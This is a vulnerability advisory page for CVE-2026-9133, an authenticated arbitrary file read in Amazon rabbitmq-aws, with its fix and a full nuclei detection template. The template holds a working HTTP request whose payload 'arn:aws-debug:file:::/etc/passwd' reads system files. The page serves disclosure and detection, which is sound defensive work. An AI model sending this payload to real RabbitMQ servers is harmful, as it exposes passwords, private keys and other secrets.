HexBrain

Browse / CVEs / CVE-2026-9133

CVE-2026-9133· amazon / rabbitmq-aws· CWE-489

Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read

highseverity
7.7CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.

Impact

Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process.

Fix

Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read.

How to confirm it

Send: PUT /api/aws/arn/validate
Positive when: contains(body, "arn:aws-debug:file:::/etc/passwd") and contains(content_type, "application/json") and regex("root:[x*]:0:0:", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-9133 -u <target>

The full check
id: CVE-2026-9133

info:
  name: Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read
  author: ye11oc4t
  severity: high
  description: |
    Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.
  impact: |
    Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process.
  remediation: |
    Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read.
  reference:
    - https://github.com/amazon-mq/rabbitmq-aws/security/advisories/GHSA-8554-wg4r-7hxm
    - https://aws.amazon.com/security/security-bulletins/2026-034-aws/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9133
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2026-9133
    epss-score: 0.01113
    epss-percentile: 0.66267
    cwe-id: CWE-489
  metadata:
    verified: true
    max-request: 1
    vendor: amazon
    product: rabbitmq-aws
  tags: cve,cve2026,amazon,rabbitmq,aws,lfi,authenticated

variables:
  username: "{{username}}"
  password: "{{password}}"
  credentials: "{{ username + ':' + password }}"

http:
  - raw:
      - |
        PUT /api/aws/arn/validate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64(credentials)}}

        {"arns":["arn:aws-debug:file:::/etc/passwd"]}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "arn:aws-debug:file:::/etc/passwd")'
          - 'contains(content_type, "application/json")'
          - 'regex("root:[x*]:0:0:", body)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from